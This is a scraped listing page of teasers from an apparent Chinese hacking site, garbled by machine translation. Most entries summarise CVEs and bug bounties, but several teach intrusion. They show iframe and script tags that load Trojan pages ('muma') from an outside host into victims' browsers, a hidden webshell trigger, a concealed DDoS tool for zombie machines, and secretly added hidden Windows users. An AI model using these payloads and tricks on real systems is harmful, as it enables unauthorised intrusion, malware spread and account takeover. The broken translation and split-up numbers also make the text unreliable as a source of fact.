Reverse thinking about the Google search URL and decryption-bug warning-the black bar safety net

Google each of the search sequences linked by a plurality of instruction parts, these instructions carry out their duties, constitute the full search results of“filter”. If we mastered the whole Google search URL in the configuration mode, it is possible to very easily feel free to create we need...

In win Pro lower opening 3 3 8 9 up! - Vulnerability warning-the black bar safety net

This post go to Banyan brother forum that is not original is unclear In win2000 Professional Edition installed 3 3 8 9 Terminal Services It is well known windows2000 profassional does not support 3 3 8 9 Terminal Services, so if we found to give the administrator password of the meat machine is...

Lift the download limit, take a dip cafe-vulnerability warning-the black bar safety net

Cafes bring their own music quite cheesy, without a hint of sporty new, As“New Age”of Internet users, you can willingly take? In this case you sure want to download from the Internet songs, but currently most of the Internet cafes, the function is disabled, the only way is to hack it blockade, so...

The hidden part of the file name extension techniques-vulnerability warning-the black bar safety net

In Explorer, click“Tools→folder options”, you can select“Hide extensions for known file types”all files extensions hidden. However, if you only want to hide part of the file extension, that also means the Registry Editor: Click“Start→Run”, type“Regedit”after the carriage return, in the Registry...

Crack the password file with spear and shield encryption and decryption battle-vulnerability warning-the black bar safety net

Currently on the network encryption software have mushroomed General everywhere, their price is often in the 3 0 yuan, and many friends also have to fork out money to buy these encryption software, but they really can play the role of encryption? Author Super rabbit and WinRAR both software for...

Shield SQLFindCandy database scanning-vulnerability warning-the black bar safety net

One, SQLFindCandy scan SQLFindCandy write it the people called the village of rain he said it was Cool, Oh the others are also good） Software Description The following functions: 1. To find a network all the SQl Server2000 Server! 2. For network own to modify the SQL Server Portnon-1 4 3 3The...

session spoofing and password theft probe-vulnerability warning-the black bar safety net

session spoofing article first briefly about the General asp system of the authentication principle. In General, the backend administrator login page enter the account password, the program will take him to submit a user name and password to the database administrator table to find if there is th...

IE mhtml redirection vulnerability using the method-vulnerability warning-the black bar safety net

Article author: yunshuAtph4nt0m.org Information source: http://www.ph4nt0m.org This vulnerability is primarily an information leak, see http://secunia. com/advisories/1 9 7 3 8/specific description. In order to ensure client safety, the xmlhttp is not cross-domain access to information. But the I...

Hang the page of the horse a couple of methods-vulnerability warning-the black bar safety net

One, the most simple are also the most effective iframe src=http://www.xxx.com/muma.html width=0 height=0/iframe Second, js hang horse script src=http://www. xxx. com/muma. js/script Third, the js modification encryption SCRIPT language="JScript. Encode" src=http://www. xxx. com/muma. txt/script...

Build simple hidden crazy ddos attack tools-vulnerability warning-the black bar safety net

xdos attack effect is better, but we have to do is let him as the leader of the zombies above, put in a lot of meat on the chicken run, auto-attack the target server. xdos to run a cmd window, we can use delphi to write a small program to let him hide the window, and to achieve a boot from the...

“Cat and mouse”contest software crack large unmasked(multi-map)-vulnerability warning-the black bar safety net

As a programmer, since I have written a fewsoftwareare often peoplecrack, so the common software crack way more attention. In this article, I took a variety of software crack the way to a clean sweep, as shown in algorithm KeyGen, memory crack method, a patch to crack the law and file a...

Serv-U.php: dark in glow-bug warning-the black bar safety net

These days quite boring, nothing to do, and happen to be friends of the new had a website, let me go and see, by the test site's security. The first looked at the site structure and layout, the feel on the whole with the entire Station program, the fine breakdown analysis conjecture may be...

AngelShell: let all the forward program to achieve the reverse connection application papers-the vulnerability warning-the black bar safety net

Nowserviceis almost entirely put in a hardware firewall, hard to penetrate, only to find that with a hardware Firewall, the party pooper! What TerminalService, what Radmin and the like in a controlled manner do not even think. Tried, found that almost all support reverse connection, the forward...

Needless to LC5, still broken the password! - Vulnerability warning-the black bar safety net

No. 9 of thehackingthe X-Files for, python brothers bring to you the hack password is a good helper--LC5of course the python brother the article so that it looks more is a password auditing tool, and now about Windows System Password crack, as if out of the LC5 will have no other good stuff, and...

Built on the Windows XP Welcome screen hidden user-vulnerability warning-the black bar safety net

In the school Dorm, many people in the machine are set to the Windows XP login password, and in the boot after the Welcome screen is displayed. If we took them away secretly add a user, since you will in the Windows XP Welcome screen is displayed. This was so that we on the machine the master is...

ms05002 exploit the program and its test results-vulnerability warning-the black bar safety net

Article author: invincible most lonelyE. S. T Information source: evil octal China Vulnerability details can go to the following address to download: Get the code,read the code. The original code is the use of the local bonding of the shellcode. Practical too poor,and because of this vulnerabilit...

Simple manual to create the ultimate Trojan horse-and talk about some of the back door of the simple modifications-vulnerability warning-the black bar safety net

Already published in hackers x-Files First talk about the Radmin That Radmin was a good thing, I also recently discovered this stuff benefits, such as not to be killed, management is very convenient, speed is also very fast, simple configuration...... Anyway, I see a lot of the Administrator's...

WEBSHELL hidden-vulnerability warning-the black bar safety net

1 % if request"shell"="dongxie" then % % end if % Inadded at your shell code Access when you do the hands and feet of the ASP files back plus? shell=dongxie For example:www. dongxie. cn/index. asp? action=dongxie You can tune out the webshell, does not affect the normal browsing. 2 The script is...

5 seconds to crack MD5 password-vulnerability warning-the black bar safety net

MD5 crack research team, the main is him to establish a MD5 check of the database The first to enter the Query page http://www.md5lookup.com/?category=01-3&searck=on The speed is very fast! 723D505516E0C197E42A6BE3C0AF910E 5 2 0 1 3 1 4 0d6013e3f281465bf54158d384d80262 - zxfhack Is a good thing...

SYS component of the whole hand free kill Kabbah success-vulnerability warning-the black bar safety net

It is well known pcshare of the drive stage Assembly pchide. sys has been difficult to locate,difficult to modify and famous After two weeks of trying,I finally will be this challenge to overcome! Technical information can disclose some,first select the object is the card bar Kabbah adopted a...

Mysteriously replaced XP user password-vulnerability warning-the black bar safety net

Windows XP startup scriptstartup scriptsis a computer in the login screen to appear before running the batch file, which functions similar to the Windows 9×and DOS automatically executed batch file, the autoexec. bat. Using this feature, you can write a batch file to re-set the user password, and...

For Youtube advanced Flash vulnerability bug research-vulnerability warning-the black bar safety net

A, media Flash is still a lively intimidating origin. In 2017, I isolated to Facebook, Youtube, WordPress, Yahoo, Paypal and Stripe to submit a Flash flaws. In the past 3 years, I to the flaws winning the narratives presented across 50 Flash flaws, get across the 80k dollar awards. Since Spirit i...

The Intel processor is now a security vulnerability: it can be used by hackers as a backdoor-a vulnerability warning-the black bar safety net

Recently, in Moscow security research Positive Technologies report notes that the Intel Management Engine 11 There is the death of button, can be used by hackers to steal. Management Engine Management Engine is Intel a Firmware Interface for processors and peripheral chip for communication, therm...

The new aeration WordPress REST API content injection vulnerability details-vulnerability warning-the black bar safety net

Recently, from the Sucuri researchers discovered WordPress there are significant vulnerabilities, vulnerabilities that WordpressREST API, the successful exploitation of the vulnerability could delete pages or modify the page content. The official quickly released an upgraded version of Wordpress,...

A and Nintendo for 0-day vulnerabilities, probably the most Linux system impact-vulnerability warning-the black bar safety net

! Last month, we published an article related to red and white machine to the Ubuntu vulnerabilities, and using malicious build of the red and white machine music files can be triggered--this is the famous security expert, Chris Evans masterpiece; in fact, the super any also the existence of such...

Through AWS, Google Cloud and Digital Ocean DNS vulnerability take over nearly 12 million domain names-bug warning-the black bar safety net

Shortly before, I was at cloud hosting provider Digital Ocean domain into the system found a security vulnerability, an attacker or may exploit this vulnerability to take over two million of the plurality of domain names in the report of the transfer gate on. If you have not read this report whil...

Topsy CSRF of burrows instance share-vulnerability warning-the black bar safety net

0x01 Foreword Recent digging in the SRC often encounter some CSRF vulnerabilities and found that in fact grasp the principle after it is easy to dig to about the CSRF vulnerability. In the usual vulnerability discovery, CSRF is also not too high threshold, the technical requirements are not so...

Simple Android application service end of the security vulnerability of SQL injection vulnerability and file upload vulnerability-vulnerability warning-the black bar safety net

The first three weeks, the dandelion for everyone brief introduction to the Android application of APP end of the Common Vulnerabilities, they are: Android-developers APP end common security vulnerability interpretation-sensitive information disclosure vulnerability Simple App end security...

MySQL / MariaDB / PerconaDB - mention the rights/conditions of competition vulnerability(POC)-vulnerability warning-the black bar safety net

Vulnerability found person: Dawid Golunski Vulnerability level: severe CVE number: CVE-2 0 1 6-6 6 6 3 / CVE-2 0 1 6-5 6 1 6 Vulnerability impact: MariaDB 5.5.52 10.1.18 10.0.28 MySQL = 5.5.51 = 5.6.32 = 5.7.14 Percona Server 5.5.51-38.2 5.6.32-7 8-1 5.7.14-8 Percona XtraDB Cluster 5.6.32-25.17...

Joomla! There is not authorized to create account/privilege elevation vulnerability please update-vulnerability warning-the black bar safety net

! Vulnerability description Account creation the Account Creation） Affected version: 3.4. 4 to 3. 6. 3 Report Date: 2 0 1 6 years 1 0 months 1 No. 8 Fix the date: 2 0 1 6 years 1 0 month 2 5 Number CVE number: CVE-2 0 1 6-8 8 7 0 Description: not strictly check the Allow users on the site does no...

Hand to hand teach you how to construct the office exploits EXP（third period）-bug warning-the black bar safety net

In the previous term of office vulnerability to share, describes the legendary exploits of cve-2 0 1 3-3 9 0 6 a technical framework, which covers a lot of the overflow class of vulnerability classic. This period give everybody to bring the share is CVE-2 0 1 4-1 7 6 1, this vulnerability is stri...

Ninety percent of a Bank online system has security vulnerabilities-vulnerability warning-the black bar safety net

Smart home devices, routers, cell phones, street common vending machines...... Life time may contact to the smart devices are likely to encounter a hacker to crack, facing security issues. Yesterday, in the XCon security focus information security technology summit sponsored by the“XPwn future...

SWEET32: TLS 6 4-bit block cipher birthday attack(CVE-2 0 1 6-2 1 8 3)-vulnerability warning-the black bar safety net

The problem of the attack of harsh conditions. The attacker needs to get a lot of ciphertext, the thesis of the author is by 3 0 hours, 610GB of data to achieve. In addition, the need to plaintext in Important Information a lot of repetition which is to eventually be able to decrypt it's content,...

A simple description of the Fckeditor upload parsing vulnerability-vulnerability warning-the black bar safety net

Directly through the known path to the file that broke the fck Editor Version information: FCKeditor/whatsnew.html ! 2 0 1 6 0 8 2 3 1 9 2 4 0 8 Through a common upload address, to test the upload point whether the presence of: FCKeditor/editor/filemanager/browser/default/connectors/asp/connector...

1 4 million Android devices by the Linux TCP vulnerability-vulnerability warning-the black bar safety net

The vast majority of Android users to pay attention to. Mobile Security vendor Lookout researchers have found that the Linux TCP connection vulnerability exist in the world 8 0% of Android devices, from about 1 4 million Android smartphones, tablets affected by this vulnerability. ! Shortly befor...

FFMpeg 3.1.2 release fixes from 360GearTeam a high-risk vulnerability-vulnerability warning-the black bar safety net

360GearTeamoriginal 3 6 0 smart scan teamsecurity researchers link a Han recent studies FFMpeg security, find the FFMpeg in decoding the swf file when there is a buffer overflow vulnerability number CVE-2 0 1 6-6 6 7 1 The. The vulnerability under certain conditions can lead to arbitrary code...

Secure chat software Telegram will reveal in which the Copy-Paste of the text-vulnerability warning-the black bar safety net

! Security researcher Kirill Firsov found,currently more popular chat app Telegram the occurrence of a data breach. In OS X versions, the application will take the user to copy and paste the text is written to the/var/log/system. log filethe file is also known as syslog ,and thus the private...

D-Links Wi-Fi Camera in the presence of a vulnerability will affect more than 1 2 0 different products-vulnerability warning-the black bar safety net

! According to foreign media reports, security experts discovered a software plug-in, this component will be D-Links Wi-Fi camera is exposed to a remote attack risk. In addition, making the current situation worse, in the company's products, there are about 1 2 0 more products are using this...

Lenovo then notch security vulnerability crisis hackers can bypass the security Protocol attack-vulnerability warning-the black bar safety net

According to foreign media news that the Lenovo computer security vulnerabilities, hackers can bypass Windows security Protocol of the United Nations want the computer to attack. But for this speech, and Association aspects of the public statements, there is a problem of the code not by Lenovo to...

Struts2 method invocation remote code execution vulnerability, CVE-2 0 1 6-3 0 8 1 Analysis-vulnerability warning-the black bar safety net

0x00 vulnerability description 2 0 1 6 4 2 1, Struts2 official released two CVE, wherein CVE-2 0 1 6-3 0 8 1 Official rating is high. The main reason for the user to open the dynamic method call case, a would be attacker to achieve remote code execution attacks. From my own search of the situatio...

From the deserialization vulnerability to take control of the Empire: millions of dollars of Instagram vulnerability-vulnerability warning-the black bar safety net

2 0 1 2 years, Blloberg in the Facebook white hat reward program's website published a famous article, mentioned in the article:“if Facebook shows the value of millions of dollars of vulnerability,we also wishes to do a single full pay”in. In this article before you start, I want to cheat click...

Petya in the end is what the Ghost-vulnerability warning-the black bar safety net

Late last month, German veteran security vendors Goethe Tower released a security report, the report pointed out the emergence of a named Petya in the new extortion Trojan. Then this new extortion Trojan the hell is going on? 0x01 Trojan overview The Trojan itself is actually technically is not...

Through the mouse scroll wheel to move the data to obtain the Tor browser anonymous user fingerprint-vulnerability warning-the black bar safety net

Through the Internet The Secret ability to communicate for different political molecules and radicals is very important. Then again, almost everyone will care about on the network, privacy issues. Although the Tor network itself provides the user with a high privacy level, so most people are almo...

OpenSSL high-risk vulnerabilities allow hackers to decrypt HTTPS traffic（CVE-2 0 1 6-0 7 0 1-a vulnerability warning-the black bar safety net

! The OpenSSL encryption code library defenders are declared fixes a high risk vulnerability. The vulnerability could allow a hacker to access in HTTPS and other secure transport layer, for the encrypted communication to decrypt the key. OpenSSL vulnerability details When various conditions are...

PayPal remote command execution vulnerability analysis-vulnerability warning-the black bar safety net

2 0 1 5 year 1 2 on, the author in the PayPal of a sub-station in found a to be able to remotely execute arbitrary shell commands java deserialization vulnerability, and can impact PayPal products database. I'll be the bug was submitted to PayPal, and was quickly repaired. Vulnerability details !...

Joomla high-risk vulnerability scanning event analysis-vulnerability warning-the black bar safety net

Summary 1 2 on 1 4 May, the Joomla official website emergency issued a due to the security vulnerability to cause a version update 3.4.6, according to security company sucuri released information, this scan time is to use the Joomla deserialization characteristics of the problem causes the...

Google released the Android key on the media process and the root vulnerability patch-vulnerability warning-the black bar safety net

Google for Nexus smartphones and tablets, released a batch of new security patches,solved by a vicious e-mail, web pages and multimedia invasion the Android device's vulnerability. Google in the security Bulletin said: the firmware update is applied the radio update promotion to support Nexus...

Three years ago the libupnp library vulnerabilities, Tencent QQ music finally fix it-vulnerability warning-the black bar safety net

Since 3 years ago of a vulnerability, today there is still 6 1 0 million units of the device may be remote code execution, including smartphones, routers, Smart TV, etc., and this vulnerability as early as 3 years ago has been fixed. The vulnerability exists in the UPnP™device is a portable SDK,...

Chrome 0day so that millions of Android devices suffer from a remote threat-vulnerability warning-the black bar safety net

! From China qihoo 3 6 0 security researcher Guang Gong in the latest version of the Android platform, Chrome browser found a serious 0day vulnerability, which allows attacker to obtain the victim's cell phone the full administrator access, and the vulnerability of the use of the code to be able ...

Jenkins CommonCollections vulnerability perfect to use the tool-vulnerability warning-the black bar safety net

This week is the fire of a vulnerability through this vulnerability can execute arbitrary java code, The impact of Jenkins, WebSphere, WebLogic, etc. a series of popular services. However, foreigners write ysoserial code has bug, can not properly execute the command, readily get rid of. ! Having...